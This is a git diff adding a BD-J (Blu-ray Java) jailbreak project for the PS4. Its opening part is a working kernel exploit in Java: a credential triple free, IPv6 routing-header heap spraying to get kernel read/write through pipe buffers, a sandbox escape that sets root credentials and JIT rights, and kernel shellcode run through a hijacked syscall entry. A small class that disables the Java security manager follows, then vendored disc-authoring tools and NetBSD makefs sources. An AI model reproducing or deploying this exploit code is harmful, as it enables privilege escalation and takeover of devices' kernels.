console.println("exception during performSetup"); + return false; + } + } + + private static boolean findTwins(int timeout) { + while (timeout-- != 0) { + for (int i = 0; i < ipv6Socks.length; i++) { + sprayRthdr.putInt(0x04, RTHDR_TAG | i); + setRthdr(ipv6Socks[i], sprayRthdr, sprayRthdrLen); + } + + for (int i = 0; i < ipv6Socks.length; i++) { + leakRthdrLen.set(Int64.SIZE); + getRthdr(ipv6Socks[i], leakRthdr, leakRthdrLen); + int val = leakRthdr.getInt(0x04); + int j = val & 0xFFFF; + if ((val & 0xFFFF0000) == RTHDR_TAG && i != j) { + twins[0] = i; + twins[1] = j; + return true; + } + } + } + return false; + } + + private static int findTriplet(int master, int other, int timeout) { + while (timeout-- != 0) { + for (int i = 0; i < ipv6Socks.length; i++) { + if (i == master || i == other) { + continue; + } + sprayRthdr.putInt(0x04, RTHDR_TAG | i); + setRthdr(ipv6Socks[i], sprayRthdr, sprayRthdrLen); + } + + for (int i = 0; i < ipv6Socks.length; i++) { + if (i == master || i == other) { + continue; + } + leakRthdrLen.set(Int64.SIZE); + getRthdr(ipv6Socks[master], leakRthdr, leakRthdrLen); + int val = leakRthdr.getInt(0x04); + int j = val & 0xFFFF; + if ((val & 0xFFFF0000) == RTHDR_TAG && j != master && j != other) { + return j; + } + } + } + return -1; + } + + private static long kreadSlow64(long address) { + return kreadSlow(address, Int64.SIZE).getLong(0x00); + } + + private static void fhold(long fp) { + kwrite32(fp + 0x28, kread32(fp + 0x28) + 1); // f_count + } + + private static long fget(int fd) { + return kread64(fdt_ofiles + fd * FILEDESCENT_SIZE); + } + + private static void removeRthrFromSocket(int fd) { + long fp = fget(fd); + long f_data = kread64(fp + 0x00); + long so_pcb = kread64(f_data + 0x18); + long in6p_outputopts = kread64(so_pcb + 0x118); + kwrite64(in6p_outputopts + 0x68, 0); // ip6po_rhi_rthdr + } + + private static int corruptPipebuf(int cnt, int in, int out, int size, long buffer) { + if (buffer == 0) { + throw new IllegalArgumentException("buffer cannot be zero"); + } + victimPipebuf.putInt(0x00, cnt); // cnt + victimPipebuf.putInt(0x04, in); // in + victimPipebuf.putInt(0x08, out); // out + victimPipebuf.putInt(0x0C, size); // size + victimPipebuf.putLong(0x10, buffer); // buffer + write(masterWpipeFd, victimPipebuf, victimPipebuf.size()); + return (int) read(masterRpipeFd, victimPipebuf, victimPipebuf.size()); + } + + public static int kread(Buffer dest, long src, long n) { + corruptPipebuf((int) n, 0, 0, PAGE_SIZE, src); + return (int) read(victimRpipeFd, dest, n); + } + + public static int kwrite(long dest, Buffer src, long n) { + corruptPipebuf(0, 0, 0, PAGE_SIZE, dest); + return (int) write(victimWpipeFd, src, n); + } + + public static void kwrite32(long addr, int val) { + tmp.putInt(0x00, val); + kwrite(addr, tmp, Int32.SIZE); + } + + public static void kwrite64(long addr, long val) { + tmp.putLong(0x00, val); + kwrite(addr, tmp, Int64.SIZE); + } + + public static long kread64(long addr) { + kread(tmp, addr, Int64.SIZE); + return tmp.getLong(0x00); + } + + public static int kread32(long addr) { + kread(tmp, addr, Int32.SIZE); + return tmp.getInt(0x00); + } + + private static void removeUafFile() { + long uafFile = fget(uafSock); + kwrite64(fdt_ofiles + uafSock * FILEDESCENT_SIZE, 0); + int removed = 0; + Int32Array ss = new Int32Array(2); + for (int i = 0; i < UAF_TRIES; i++) { + int s = socket(AF_UNIX, SOCK_STREAM, 0); + if (fget(s) == uafFile) { + kwrite64(fdt_ofiles + s * FILEDESCENT_SIZE, 0); + removed++; + } + close(s); + if (removed == 3) { + break; + } + } + } + + private static boolean achieveRw(int timeout) { + try { + // Free one. + freeRthdr(ipv6Socks[triplets[1]]); + + // Leak kqueue. + int kq = 0; + while (timeout-- != 0) { + kq = kqueue(); + + // Leak with other rthdr. + leakRthdrLen.set(0x100); + getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); + if (leakRthdr.getLong(0x08) == 0x1430000 && leakRthdr.getLong(0x98) != 0) { + break; + } + close(kq); + } + + if (timeout <= 0) + { + console.println("kqueue realloc failed"); + return false; + } + + kl_lock = leakRthdr.getLong(0x60); + kq_fdp = leakRthdr.getLong(0x98); + close(kq); + + // Find triplet. + triplets[1] = findTriplet(triplets[0], triplets[2], UAF_TRIES); + if (triplets[1] == -1) + { + console.println("kqueue triplets 1 failed "); + return false; + } + + long fd_files = kreadSlow64(kq_fdp); + fdt_ofiles = fd_files + 0x00; + + long masterRpipeFile = kreadSlow64(fdt_ofiles + masterPipeFd.get(0) * FILEDESCENT_SIZE); + long victimRpipeFile = kreadSlow64(fdt_ofiles + victimPipeFd.get(0) * FILEDESCENT_SIZE); + long masterRpipeData = kreadSlow64(masterRpipeFile + 0x00); + long victimRpipeData = kreadSlow64(victimRpipeFile + 0x00); + + Buffer masterPipebuf = new Buffer(PIPEBUF_SIZE); + masterPipebuf.putInt(0x00, 0); // cnt + masterPipebuf.putInt(0x04, 0); // in + masterPipebuf.putInt(0x08, 0); // out + masterPipebuf.putInt(0x0C, PAGE_SIZE); // size + masterPipebuf.putLong(0x10, victimRpipeData); // buffer + kwriteSlow(masterRpipeData, masterPipebuf); + + fhold(fget(masterPipeFd.get(0))); + fhold(fget(masterPipeFd.get(1))); + fhold(fget(victimPipeFd.get(0))); + fhold(fget(victimPipeFd.get(1))); + + for (int i = 0; i < triplets.length; i++) { + removeRthrFromSocket(ipv6Socks[triplets[i]]); + } + + removeUafFile(); + } catch (Exception e) + { + console.println("exception during stage 1"); + return false; + } + return true; + } + + private static long pfind(int pid) { + long p = kread64(allproc); + while (p != 0) { + if (kread32(p + 0xb0) == pid) { + break; + } + p = kread64(p + 0x00); // p_list.le_next + } + return p; + } + + private static long getPrison0() { + long p = pfind(0); + long p_ucred = kread64(p + 0x40); + long prison0 = kread64(p_ucred + 0x30); + return prison0; + } + + private static long getRootVnode(int i) { + long p = pfind(0); + long p_fd = kread64(p + 0x48); + long rootvnode = kread64(p_fd + i); + return rootvnode; + } + + private static boolean escapeSandbox() { + // get curproc + Int32Array pipeFd = new Int32Array(2); + pipe(pipeFd); + + Int32 currPid = new Int32(); + int curpid = getpid(); + currPid.set(curpid); + ioctl(pipeFd.get(0), 0x8004667CL, currPid.address()); + + long fp = fget(pipeFd.get(0)); + long f_data = kread64(fp + 0x00); + long pipe_sigio = kread64(f_data + 0xd0); + long curproc = kread64(pipe_sigio); + long p = curproc; + + // get allproc + while ((p & 0xFFFFFFFF00000000L) != 0xFFFFFFFF00000000L) { + p = kread64(p + 0x08); // p_list.le_prev + } + + allproc = p; + + close(pipeFd.get(1)); + close(pipeFd.get(0)); + + kBase = kl_lock - KernelOffset.getPS4Offset("KL_LOCK"); + + long OFFSET_P_UCRED = 0x40; + long procFd = kread64(curproc + KernelOffset.PROC_FD); + long ucred = kread64(curproc + OFFSET_P_UCRED); + + if ((procFd >>> 48) != 0xFFFF) { + console.print("bad procfd"); + return false; + } + if ((ucred >>> 48) != 0xFFFF) { + console.print("bad ucred"); + return false; + } + + kwrite32(ucred + 0x04, 0); // cr_uid + kwrite32(ucred + 0x08, 0); // cr_ruid + kwrite32(ucred + 0x0C, 0); // cr_svuid + kwrite32(ucred + 0x10, 1); // cr_ngroups + kwrite32(ucred + 0x14, 0); // cr_rgid + + long prison0 = getPrison0(); + if ((prison0 >>> 48) != 0xFFFF) { + console.print("bad prison0"); + return false; + } + kwrite64(ucred + 0x30, prison0); + + // Add JIT privileges + kwrite64(ucred + 0x60, -1); + kwrite64(ucred + 0x68, -1); + + long rootvnode = getRootVnode(0x10); + if ((rootvnode >>> 48) != 0xFFFF) { + console.print("bad rootvnode"); + return false; + } + kwrite64(procFd + 0x10, rootvnode); // fd_rdir + kwrite64(procFd + 0x18, rootvnode); // fd_jdir + return true; + } + + private static boolean triggerUcredTripleFree() { + try { + Buffer setBuf = new Buffer(8); + Buffer clearBuf = new Buffer(8); + msgIov.putLong(0x00, 1); // iov_base + msgIov.putLong(0x08, Int8.SIZE); // iov_len + int dummySock = socket(AF_UNIX, SOCK_STREAM, 0); + setBuf.putInt(0x00, dummySock); + __sys_netcontrol(-1, NET_CONTROL_NETEVENT_SET_QUEUE, setBuf, setBuf.size()); + close(dummySock); + setuid(1); + uafSock = socket(AF_UNIX, SOCK_STREAM, 0); + setuid(1); + clearBuf.putInt(0x00, uafSock); + __sys_netcontrol(-1, NET_CONTROL_NETEVENT_CLEAR_QUEUE, clearBuf, clearBuf.size()); + for (int i = 0; i < 32; i++) { + iovState.signalWork(0); + sched_yield(); + write(iovSs1, tmp, Int8.SIZE); + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + } + close(dup(uafSock)); + if (!findTwins(TWIN_TRIES)) + { + console.println("twins failed"); + return false; + } + + freeRthdr(ipv6Socks[twins[1]]); + int timeout = UAF_TRIES; + while (timeout-- > 0) { + iovState.signalWork(0); + sched_yield(); + leakRthdrLen.set(Int64.SIZE); + getRthdr(ipv6Socks[twins[0]], leakRthdr, leakRthdrLen); + if (leakRthdr.getInt(0x00) == 1) { + break; + } + write(iovSs1, tmp, Int8.SIZE); + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + } + if (timeout <= 0) + { + console.println("iov reclaim failed"); + return false; + } + triplets[0] = twins[0]; + close(dup(uafSock)); + triplets[1] = findTriplet(triplets[0], -1, UAF_TRIES); + if (triplets[1] == -1) + { + console.println("triplets 1 failed"); + return false; + } + write(iovSs1, tmp, Int8.SIZE); + triplets[2] = findTriplet(triplets[0], triplets[1], UAF_TRIES); + if (triplets[2] == -1) + { + console.println("triplets 2 failed"); + return false; + } + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + } catch (Exception e) + { + console.println("exception during stage 0"); + return false; + } + return true; + } + + private static boolean applyKernelPatchesPS4() { + try { + byte[] shellcode = KernelOffset.getKernelPatchesShellcode(); + if (shellcode.length == 0) { + return false; + } + + long sysent661Addr = kBase + KernelOffset.getPS4Offset("SYSENT_661_OFFSET"); + long mappingAddr = 0x920100000L; + long shadowMappingAddr = 0x926100000L; + + int syNarg = kread32(sysent661Addr); + long syCall = kread64(sysent661Addr + 8); + int syThrcnt = kread32(sysent661Addr + 0x2c); + kwrite32(sysent661Addr, 2); + kwrite64(sysent661Addr + 8, kBase + KernelOffset.getPS4Offset("JMP_RSI_GADGET")); + kwrite32(sysent661Addr + 0x2c, 1); + + int PROT_READ = 0x1; + int PROT_WRITE = 0x2; + int PROT_EXEC = 0x4; + int PROT_RW = PROT_READ | PROT_WRITE; + int PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC; + + int alignedMemsz = 0x10000; + // create shm with exec permission + long execHandle = Helper.syscall(Helper.SYS_JITSHM_CREATE, 0L, (long)alignedMemsz, (long)PROT_RWX); + // create shm alias with write permission + long writeHandle = Helper.syscall(Helper.SYS_JITSHM_ALIAS, execHandle, (long)PROT_RW); + // map shadow mapping and write into it + Helper.syscall(Helper.SYS_MMAP, shadowMappingAddr, (long)alignedMemsz, (long)PROT_RW, 0x11L, writeHandle, 0L); + for (int i = 0; i < shellcode.length; i++) { + api.write8(shadowMappingAddr + i, shellcode[i]); + } + // map executable segment + Helper.syscall(Helper.SYS_MMAP, mappingAddr, (long)alignedMemsz, (long)PROT_RWX, 0x11L, execHandle, 0L); + Helper.syscall(Helper.SYS_KEXEC, mappingAddr); + kwrite32(sysent661Addr, syNarg); + kwrite64(sysent661Addr + 8, syCall); + kwrite32(sysent661Addr + 0x2c, syThrcnt); + Helper.syscall(Helper.SYS_CLOSE, writeHandle); + } catch (Exception e) + { + + } + return true; + } + + public static int main(PrintStream cons) { + Poops.console = cons; + + // check for jailbreak + if (Helper.isJailbroken()) { + NativeInvoke.sendNotificationRequest("Already Jailbroken"); + return 0; + } + + // perform setup + console.println("Pre-configuration"); + if (!performSetup()) + { + console.println("pre-config failure"); + cleanup(); + return -3; + } + console.println("Initial triple free"); + if (!triggerUcredTripleFree()) { + cons.println("triple free failed"); + cleanup(); + return -4; + } + + // do not print to the console to increase stability here + if (!achieveRw(KQUEUE_TRIES)) { + cons.println("Leak / RW failed"); + cleanup(); + return -6; + } + + console.println("Escaping sandbox"); + if (!escapeSandbox()) { + cons.println("Escape sandbox failed"); + cleanup(); + return -7; + } + + console.println("Patching system"); + if (!applyKernelPatchesPS4()) { + cons.println("Applying patches failed"); + cleanup(); + return -8; + } + + cleanup(); + + BinLoader.start(); + + return 0; + } + + static class IovThread extends Thread { + private final WorkerState state; + public IovThread(WorkerState state) { + this.state = state; + } + public void run() { + cpusetSetAffinity(4); + Helper.setRealtimePriority(256); + try { + while (true) { + state.waitForWork(); + recvmsg(iovSs0, msg, 0); + state.signalFinished(); + } + } catch (InterruptedException e) { + } + } + } + + static class UioThread extends Thread { + private final WorkerState state; + + public UioThread(WorkerState state) { + this.state = state; + } + public void run() { + cpusetSetAffinity(4); + Helper.setRealtimePriority(256); + try { + while (true) { + int command = state.waitForWork(); + if (command == COMMAND_UIO_READ) { + writev(uioSs1, uioIovRead, UIO_IOV_NUM); + } else if (command == COMMAND_UIO_WRITE) { + readv(uioSs0, uioIovWrite, UIO_IOV_NUM); + } + state.signalFinished(); + } + } catch (InterruptedException e) { + } + } + } + + static class WorkerState { + private final int totalWorkers; + + private int workersStartedWork = 0; + private int workersFinishedWork = 0; + + private int workCommand = -1; + + public WorkerState(int totalWorkers) { + this.totalWorkers = totalWorkers; + } + + public synchronized void signalWork(int command) { + workersStartedWork = 0; + workersFinishedWork = 0; + workCommand = command; + notifyAll(); + + while (workersStartedWork < totalWorkers) { + try { + wait(); + } catch (InterruptedException e) { + // Ignore. + } + } + } + + public synchronized void waitForFinished() { + while (workersFinishedWork < totalWorkers) { + try { + wait(); + } catch (InterruptedException e) { + // Ignore. + } + } + + workCommand = -1; + } + + public synchronized int waitForWork() throws InterruptedException { + while (workCommand == -1 || workersFinishedWork != 0) { + wait(); + } + + workersStartedWork++; + if (workersStartedWork == totalWorkers) { + notifyAll(); + } + + return workCommand; + } + + public synchronized void signalFinished() { + workersFinishedWork++; + if (workersFinishedWork == totalWorkers) { + notifyAll(); + } + } + } +} \ No newline at end of file diff --git a/src/org/bdj/sandbox/DisableSecurityManagerAction.java b/src/org/bdj/sandbox/DisableSecurityManagerAction.java new file mode 100644 index 0000000..ea4538d --- /dev/null +++ b/src/org/bdj/sandbox/DisableSecurityManagerAction.java @@ -0,0 +1,26 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package org.bdj.sandbox; + +import java.security.AccessController; +import java.security.PrivilegedActionException; +import java.security.PrivilegedExceptionAction; + +public class DisableSecurityManagerAction implements PrivilegedExceptionAction { + private DisableSecurityManagerAction() { + } + + public Object run() { + System.setSecurityManager(null); + return System.getSecurityManager(); + } + + public static SecurityManager execute() throws PrivilegedActionException { + return (SecurityManager) AccessController.doPrivileged(new DisableSecurityManagerAction()); + } +} diff --git a/thirdparty/bd-certificates/README.txt b/thirdparty/bd-certificates/README.txt new file mode 100644 index 0000000..a734c6b --- /dev/null +++ b/thirdparty/bd-certificates/README.txt @@ -0,0 +1,5 @@ +Both BD-JB and BDJ-SDK include these exact keys: +https://github.com/TheOfficialFloW/bd-jb +https://github.com/john-tornblom/bdj-sdk/ + +These are probably generated by BDCertGenerator from the HD Cookbook. \ No newline at end of file diff --git a/thirdparty/bd-certificates/app.discroot.crt b/thirdparty/bd-certificates/app.discroot.crt new file mode 100644 index 0000000..38fc69d Binary files /dev/null and b/thirdparty/bd-certificates/app.discroot.crt differ diff --git a/thirdparty/bd-certificates/bu.discroot.crt b/thirdparty/bd-certificates/bu.discroot.crt new file mode 100644 index 0000000..786e56d Binary files /dev/null and b/thirdparty/bd-certificates/bu.discroot.crt differ diff --git a/thirdparty/bd-certificates/id.bdmv b/thirdparty/bd-certificates/id.bdmv new file mode 100644 index 0000000..b6d3ec5 Binary files /dev/null and b/thirdparty/bd-certificates/id.bdmv differ diff --git a/thirdparty/bd-certificates/keystore.store b/thirdparty/bd-certificates/keystore.store new file mode 100644 index 0000000..b090de5 Binary files /dev/null and b/thirdparty/bd-certificates/keystore.store differ diff --git a/thirdparty/bd-stubs/README.txt b/thirdparty/bd-stubs/README.txt new file mode 100644 index 0000000..3d95647 --- /dev/null +++ b/thirdparty/bd-stubs/README.txt @@ -0,0 +1,2 @@ +interactive.zip retrieved from: +https://github.com/zathras/java.net/tree/90817788f5b393243d89de9ea9f569121a48429d/hdcookbook/lib/stubs/interactive diff --git a/thirdparty/bd-stubs/interactive.zip b/thirdparty/bd-stubs/interactive.zip new file mode 100644 index 0000000..7411be7 Binary files /dev/null and b/thirdparty/bd-stubs/interactive.zip differ diff --git a/thirdparty/bd-tools/LICENSE b/thirdparty/bd-tools/LICENSE new file mode 100644 index 0000000..f017f49 --- /dev/null +++ b/thirdparty/bd-tools/LICENSE @@ -0,0 +1,52 @@ +Copyright (c) 2007, Sun Microsystems, Inc. + +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of Sun Microsystems nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + Note: In order to comply with the binary form redistribution + requirement in the above license, the licensee may include + a URL reference to a copy of the required copyright notice, + the list of conditions and the disclaimer in a human readable + file with the binary form of the code that is subject to the + above license. For example, such file could be put on a + Blu-ray disc containing the binary form of the code or could + be put in a JAR file that is broadcast via a digital television + broadcast medium. In any event, you must include in any end + user licenses governing any code that includes the code subject + to the above license (in source and/or binary form) a disclaimer + that is at least as protective of Sun as the disclaimers in the + above license. + + A copy of the required copyright notice, the list of conditions and + the disclaimer will be maintained at + https://hdcookbook.dev.java.net/misc/license.html . + Thus, licensees may comply with the binary form redistribution + requirement with a text file that contains the following text: + + A copy of the license(s) governing this code is located + at https://hdcookbook.dev.java.net/misc/license.html + diff --git a/thirdparty/bd-tools/README b/thirdparty/bd-tools/README new file mode 100644 index 0000000..4507874 --- /dev/null +++ b/thirdparty/bd-tools/README @@ -0,0 +1,10 @@ +bcprov-jdk15-137.jar, jdktools.jar and security.jar retrieved from BDJ-SDK: +https://github.com/john-tornblom/bdj-sdk/tree/master/host/lib + +bdjo.jar, id.jar, index.jar and movieobject.jar retrieved from zathras/java.net: +https://github.com/zathras/java.net/releases/tag/1.2 + +These tools are part of the HD Cookbook: +https://hdcookbook.jovial.com/ +https://github.com/zathras/java.net/tree/master/hdcookbook/DiscCreationTools +https://github.com/oliverlietz/bd-j/tree/master/DiscCreationTools diff --git a/thirdparty/makefs/Makefile b/thirdparty/makefs/Makefile new file mode 100644 index 0000000..c2b61fe --- /dev/null +++ b/thirdparty/makefs/Makefile @@ -0,0 +1,44 @@ +# $NetBSD: Makefile,v 1.36 2013/08/05 14:41:57 reinoud Exp $ +# +CFLAGS=`pkg-config --cflags libbsd-overlay` +LDFLAGS=`pkg-config --libs libbsd-overlay` +WARNS?= 5 + +# .include + +PROG= makefs +SRCS= udf.c strstuff.c \ + makefs.c \ + walk.c +MAN= makefs.8 +#CC= clang +DESTDIR ?= /usr/local + +MKNODSRC= ${NETBSDSRCDIR}/sbin/mknod +MTREESRC= ${NETBSDSRCDIR}/usr.sbin/mtree + +CPPFLAGS+= -I${.CURDIR} -I${MKNODSRC} -I${MTREESRC} -DMAKEFS +#CPPFLAGS+= -DMSDOSFS_DEBUG +#PATH: ${MKNODSRC} ${MTREESRC} + +#.include "${.CURDIR}/cd9660/Makefile.inc" +#.include "${.CURDIR}/chfs/Makefile.inc" +#.include "${.CURDIR}/ffs/Makefile.inc" +#.include "${.CURDIR}/v7fs/Makefile.inc" +#.include "${.CURDIR}/msdos/Makefile.inc" + +SRCS+= udf_core.c udf_osta.c + +#if !defined(HOSTPROG) +DPADD+= ${LIBUTIL} ${LIBM} +LDADD+= -lutil -lm +#endif + +prog: + ${CC} -o $(PROG) $(SRCS) $(CFLAGS) $(LDFLAGS) -D_GNU_SOURCE -std=c11 -lm -I./udf -static + +install: + install -D $(PROG) $(DESTDIR)/bin/$(PROG) + +#.include +# DO NOT DELETE diff --git a/thirdparty/makefs/README.orig b/thirdparty/makefs/README.orig new file mode 100644 index 0000000..bf418d6 --- /dev/null +++ b/thirdparty/makefs/README.orig @@ -0,0 +1,135 @@ +$NetBSD: README,v 1.7 2015/01/12 19:50:47 christos Exp $ + +makefs - build a file system image from a directory tree + +NOTES: + + * This tool uses modified local copies of source found in other + parts of the tree. This is intentional. + + * makefs is a work in progress, and subject to change. + + +user overview: +-------------- + +makefs creates a file system image from a given directory tree. +the following file system types can be built: + + cd9660 ISO 9660 file system + chfs "Chip" file system, for flash devices + ffs BSD fast file system + msdos MS-DOS `FAT' file system (FAT12, FAT16, FAT32) + udf Universal Disk Format file system + v7fs 7th edition(V7) file system + +Support for the following file systems maybe be added in the future + + ext2fs Linux EXT2 file system + +Various file system independent parameters and contraints can be +specified, such as: + + - minimum file system size (in KB) + - maximum file system size (in KB) + - free inodes + - free blocks (in KB) + - mtree(8) specification file containing permissions and ownership + to use in image, overridding the settings in the directory tree + - file containing list of files to specifically exclude or include + - fnmatch(3) pattern of filenames to exclude or include + - endianness of target file system + +File system specific parameters can be given as well, with a command +line option such as "-o fsspeccific-options,comma-separated". +For example, ffs would allow tuning of: + + - block & fragment size + - cylinder groups + - number of blocks per inode + - minimum free space + +Other file systems might have controls on how to "munge" file names to +fit within the constraints of the target file system. + +Exit codes: + 0 all ok + 1 fatal error + 2 some files couldn't be added during image creation + (bad perms, missing file, etc). image will continue + to be made + + +Implementation overview: +------------------------ + +The implementation must allow for easy addition of extra file systems +with minimal changes to the file system independent sections. + +The main program will: + - parse the options, including calling fs-specific routines to + validate fs-specific options + - walk the tree, building up a data structure which represents + the tree to stuff into the image. The structure will + probably be a similar tree to what mtree(8) uses internally; + a linked list of entries per directory with a child pointer + to children of directories. ".." won't be stored in the list; + the fs-specific tree walker should add this if required by the fs. + this builder have the smarts to handle hard links correctly. + - (optionally) Change the permissions in the tree according to + the mtree(8) specfile + - Call an fs-specific routine to build the image based on the + data structures. + +Each fs-specific module should have the following external interfaces: + + prepare_options optional file system specific defaults that need to be + setup before parsing fs-specific options. + + parse_options parse the string for fs-specific options, feeding + errors back to the user as appropriate + + cleanup_options optional file system specific data that need to be + cleaned up when done with this filesystem. + + make_fs take the data structures representing the + directory tree and fs parameters, + validate that the parameters are valid + (e.g, the requested image will be large enough), + create the image, and + populate the image + +prepare_options and cleanup_options are optional and can be NULL. + +NOTE: All file system specific options are referenced via the fs_specific +pointer from the fsinfo_t strucutre. It is up to the filesystem to allocate +and free any data needed for this via the prepare and cleanup callbacks. + +Each fs-specific module will need to add its routines to the dispatch array +in makefs.c and add prototypes for these to makefs.h + +All other implementation details should not need to change any of the +generic code. + +ffs implementation +------------------ + +In the ffs case, we can leverage off sbin/newfs/mkfs.c to actually build +the image. When building and populating the image, the implementation +can be greatly simplified if some assumptions are made: + - the total required size (in blocks and inodes) is determined + as part of the validation phase + - a "file" (including a directory) has a known size, so + support for growing a file is not necessary + +Two underlying primitives are provided: + make_inode create an inode, returning the inode number + + write_file write file (from memory if DIR, file descriptor + if FILE or SYMLINK), referencing given inode. + it is smart enough to know if a short symlink + can be stuffed into the inode, etc. + +When creating a directory, the directory entries in the previously +built tree data structure is scanned and built in memory so it can +be written entirely as a single write_file() operation. diff --git a/thirdparty/makefs/README.txt b/thirdparty/makefs/README.txt new file mode 100644 index 0000000..e1d5357 --- /dev/null +++ b/thirdparty/makefs/README.txt @@ -0,0 +1,7 @@ +This is a Linux port of NetBSD makefs: +https://github.com/Randrianasulu/makefs_termux +https://github.com/NetBSD/src/tree/trunk/usr.sbin/makefs + +As retrieved from BDJ-SDK: +https://github.com/john-tornblom/bdj-sdk/tree/master/host/src +https://github.com/john-tornblom/makefs_termux/tree/dc7e09b66b5900763299add245d6bb327882292e \ No newline at end of file diff --git a/thirdparty/makefs/TODO b/thirdparty/makefs/TODO new file mode 100644 index 0000000..dfd306a --- /dev/null +++ b/thirdparty/makefs/TODO @@ -0,0 +1,41 @@ +$NetBSD: TODO,v 1.7 2007/12/10 23:54:35 dyoung Exp $ + +todo +---- + +- read files from multiple directories with or without root + specification, e.g., makefs -t cd9660 output.iso dir1 root2=dir2 + dir3 root4=dir4 + +- display block numbers for a given file (e.g, /boot) + +- finish makefs.8 + +- testing + +- even more testing + +- add support for converting a tar file (instead of a directory tree); + suggested by kpneal@pobox.com + + +outstanding bugs +---------------- + +- size estimation is still out (need to take into account indirect blocks!) + +- parameter checking when density is rather high or low. + +- filling up a file system (running out of inodes or whatever) + doesn't do the right thing. + + +discuss +------- + +- consider replacing ffs_balloc() et al with own code that doesn't + need hacked-up buf.c code + +- whacking on newfs/mkfs.c to allow .PATH-ing directly into makefs(8). + this would involve passing all of mkfs()'s parameters in a single + struct rather than a lot of global vars, etc. diff --git a/thirdparty/makefs/cd9660.c b/thirdparty/makefs/cd9660.c new file mode 100644 index 0000000..b2499d9 --- /dev/null +++ b/thirdparty/makefs/cd9660.c @@ -0,0 +1,2149 @@ +/* $NetBSD: cd9660.c,v 1.49 2015/06/17 01:05:41 christos Exp $ */ + +/* + * Copyright (c) 2005 Daniel Watt, Walter Deignan, Ryan Gabrys, Alan + * Perez-Rathke and Ram Vedam. All rights reserved. + * + * This code was written by Daniel Watt, Walter Deignan, Ryan Gabrys, + * Alan Perez-Rathke and Ram Vedam. + * + * Redistribution and use in source and binary forms, with or + * without modification, are permitted provided that the following + * conditions are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY DANIEL WATT, WALTER DEIGNAN, RYAN + * GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL DANIEL WATT, WALTER DEIGNAN, RYAN + * GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF + * USE,DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY + * OF SUCH DAMAGE. + */ +/* + * Copyright (c) 2001 Wasabi Systems, Inc. + * All rights reserved. + * + * Written by Luke Mewburn for Wasabi Systems, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed for the NetBSD Project by + * Wasabi Systems, Inc. + * 4. The name of Wasabi Systems, Inc. may not be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * 